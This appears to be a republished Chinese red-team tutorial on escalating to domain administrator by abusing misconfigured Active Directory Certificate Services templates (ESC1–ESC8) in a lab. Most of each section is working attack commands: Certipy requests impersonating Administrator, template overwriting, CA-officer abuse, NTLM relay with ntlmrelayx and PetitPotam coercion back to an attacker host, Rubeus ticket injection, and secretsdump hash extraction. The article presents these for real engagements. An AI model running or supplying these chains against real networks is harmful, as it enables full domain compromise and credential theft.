利用ADCS不安全模板配置提升域权限
2023-3-7 15:17:0 Author: xz.aliyun.com(查看原文) 阅读量:48 收藏

[email protected]深蓝实验室天雄战队

前言

2021年BlackHat发布了《Certified_Pre-Owned》白皮书,详细介绍了ADCS的滥用手法,同时在对大型企业的实战攻防中,ADCS在企业域中被广泛部署。本文针对ADCS的不安全模板配置,结合实战场景总结出在不同的错误模板下导致域权限提升的攻击手法。

测试环境

攻击机:10.128.20.123

ADCS服务器:10.211.55.20

域控:10.211.55.18

所有测试均可在域外进行攻击利用

错误模板

ESC1-基础

所需配置:

  • 有权限去获取证书
  • 能够登记为客户端身份验证或智能卡登录等
  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启

证书模板控制台certtmpl.msc,复制工作站身份认证模板
修改模板名

扩展中-应用程序策略-加入客户端身份认证(对应配置条件二)

安全中加入Domain Users具有注册权限(对应配置条件一)

使用者名称中,选择在请求中提供(对应配置条件三)

最后在certsrv.msc证书模板中发布ESC1证书
漏洞发现

#ceripy查看所有模板
certipy find -u [email protected] -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug
-vulnerable 查看该成员身份的易受攻击的证书模板


证书模板一共36个,颁发了14个
查看保存结果,hack用户满足易受攻击的ESC1模板条件。
注意Certificate Name Flag和EKU标识为ESC1模板特征。

漏洞利用
针对ESC1请求证书

#分别使用-upn和-dns参数指定任意的UPN或DNS
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC1 -upn [email protected] -dns 2019-AD.lhc.local


身份验证,auth命令将询问您使用哪个身份进行身份验证

certipy auth -pfx administrator_2019-ad.pfx -dc-ip 10.211.55.18

UPN-administrator身份

DNS-2019-AD\$身份

ESC2-错误配置

所需配置:

  • 其他配置与ESC1一样
  • 只有扩展中设置有所不同证书模板定义了 Any Purpose 类型的 EKU,Any Purpose 指证书可以用于任何目的


漏洞发现


满足ESC2的易受攻击模板同样满足ESC3条件,后续利用可以采用ESC3模板攻击手法
注意Any Purpose为Ture为ESC2模板特征
漏洞利用

#以ESC2为模板申请证书
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC2
#使用hack证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式,而不是域的FQDN,即lhc而不是lhc.local
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx
#身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18


ESC3-证书申请代理

配置1:

  • 其他配置与ESC1一样
  • 只有扩展中设置有所不同,证书模板定义了 证书申请代理的 EKU


配置2:

  • 其他配置与ESC1一样
  • 发布要求修改如下


漏洞发现


注意EKU参数为Certificate Request Agent为ESC3特征
漏洞利用
同ESC2

#以ESC3为模板申请证书
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC3
#使用hack证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式,而不是域的FQDN,即lhc而不是lhc.local
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx
#身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18


配置二需要使用certify.exe

#查看所有已办法证书
Certify.exe find /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" > 1.txt
#当前域用户申请以ESC3_2为模板的证书,格式为pem,需要转化为pfx
Certify.exe request /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" /template:ESC3_2
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
#以当前域用户证书申请域管证书
Certify.exe request /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" /template:ESC3_2 /onbehalfof:lhc\administrator /enrollcert:cert.pfx
#Rubeus.exe 
Rubeus.exe asktgt /user:lhc\administrator /certificate:cert.pfx
#票据转化
转化Rubeus的base64(kirbi)为ccache,导入票据再利用

ESC4-写入权限

ESC4是指用户对证书模板具有写入权限。可以滥用来覆盖证书模板的配置,以使该模板容易受到ESC1的攻击。
Authenticated Users-ESC4
Authenticated Users组中包含Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户Guest,即使来宾帐户有密码。 与Everyone的区别在于Everyone包括所有账户,如内置的来宾账户和LOCAL_SERVICE
配置1:
工作站身份认证模板

  • 只修改一处安全组默认完全控制,拥有写入权限


可以看到Authenticated Users拥有写入权限

Authenticated Users-ESC4_1
域用户拥有写入权限

  • 只修改一处安全组默认完全控制,拥有写入权限



可以看到Domain Users拥有写入权限
利用

#保留旧ESC4模板配置并修改ESC4模板
certipy template -u [email protected] -p 123@Qwe -template ESC4_1 -save-old
#利用新ESC4证书模板申请证书
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC4_1 -upn [email protected]
#身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
#模板复原
certipy template -u [email protected] -p 123@Qwe -template ESC4 -configuration ESC4.json

更新后的ESC4新模板

ESC4


ESC4_1

ESC6-SAN

配置:
EDITF_ATTRIBUTESUBJECTALTNAME2 的滥用来启用 SAN (主题备用名),从而允许用户在申请证书时说明自己身份
满足条件:

ESC7-ManageCa

配置条件:
当用户或者所属组拥有管理CA权限
域普通用户所属组一般包括Domain Users、Authenticated Users
Authenticated Users

Domain Users

ESC7漏洞发现


发现hack用户具有管理CA权限

  1. 因为hack用户具有管理CA权限,可以通过hack用户添加管理证书权限
    certipy ca -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -dc-ip 10.211.55.18 -target 10.211.55.20 -add-officer hack
    


    启动SubCA证书模板,这个是默认颁发的

2.查看颁发证书

certipy ca -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -dc-ip 10.211.55.18 -target 10.211.55.20 -list-templates


如果SubCA模板没有启动,可以用以下命令:

certipy ca -ca Lhc-CS2016-CA -enable-template SubCA -u [email protected] -p 123@Qwe -target 10.211.55.20

3.请求基于SubCA模板的证书,此请求将被拒绝,但我们将保存私钥并记下请求ID,主要是记录ID

4.通过管理CA和管理证书,我们可以使用ca命令和-Issue-Request发出失败的证书请求。

certipy ca -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -issue-request 86

成功颁发证书

5.使用REQ命令和-Retrive检索已颁发的证书并认证

#检索已颁发的证书
certipy req -u [email protected] -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -retrieve 86
#身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18

ESC8-Relay

利用过程

ADCS认证
http://10.211.55.20/certsrv/certfnsh.asp


攻击者将用户/机器身份验证中继到 AD CS 服务器并获取用户/机器证书

查看CA机器


命令行显示

ntlmrelayx.py将CA设置为中继目标

python3 ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'

强制认证

结合场景,这里还可以使用printerbug、SpoolSample、DFSCoerce等进行强制认证

#PetitPotam(不需要账号密码)
python PetitPotam.py -u '' -d '' -p '' 10.128.20.123(攻击机中转,回连地址) 10.211.55.18(目标机器)

获取到证书

[*] Base64 certificate of user 2019-AD$

注入票据

#Rubeus.exe
Rubeus.exe asktgt /user:HC$ /certificate:certificatebase64body /ptt
#gettgtpkinit.py
python3 gettgtpkinit.py Lhc.local/2019-AD$ -pfx-base64 -pfx-base64 MIIR...(获取的证书)  kirbi.ccache
#导入票据
export KRB5CCNAME=kirbi.ccache


dumphash

python3 secretsdump.py -k -no-pass 2019-AD.lhc.local

Window环境

考虑实战环境,在没有Linux机器以及Python环境下的利用,存在一台Windows机器与域控、ADCS服务器网络连通即可
将Python环境打包,参考:https://www.jianshu.com/p/e2402fb35553

#转发445,需要管理员权限
divertTCPConn.exe 445 4455 debug
#监听
python.exe ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --smb-port 4455 --adcs --template DomainController
2008

2012

2016

2019

win10

参考连接

https://tttang.com/archive/1593/
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
https://github.com/ly4k/Certipy
https://github.com/Arno0x/DivertTCPconn
https://blog.csdn.net/qq_36119192/article/details/119457576


文章来源: https://xz.aliyun.com/t/12267
如有侵权请联系:admin#unsafe.sh